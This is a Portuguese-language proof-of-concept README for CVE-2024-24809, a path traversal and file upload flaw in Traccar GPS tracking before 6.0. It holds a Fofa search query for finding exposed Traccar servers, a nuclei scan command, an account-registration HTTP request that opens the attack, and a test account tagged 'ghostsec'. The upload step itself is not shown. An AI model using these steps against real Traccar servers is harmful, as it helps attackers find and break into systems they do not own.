CVE-2024-24809-Proof-of-concept

Detalhe do CVE-2024-24809

#Descrição Traccar é um sistema de rastreamento GPS de código aberto. As versões anteriores à 6.0 são vulneráveis a path traversal e upload irrestrito de arquivo com tipo perigoso. Como o sistema permite o registro por padrão, atacantes podem obter permissões de usuário comum registrando uma conta e explorar essa vulnerabilidade para fazer upload de arquivos com o prefixo device. em qualquer pasta. Atacantes podem usar essa vulnerabilidade para phishing, ataques de cross-site scripting e potencialmente executar comandos arbitrários no servidor. A versão 6.0 contém uma correção para o problema.

#uso

Fofa query : app="traccar"

nuclei --target {target.com} -t CVE-2024-24809.yaml

#Prova de conceito (usando burpsuite)

POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8

{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}

#Conta de teste

name: "ghostsec"
password: "ghostsec"
email: "[email protected]"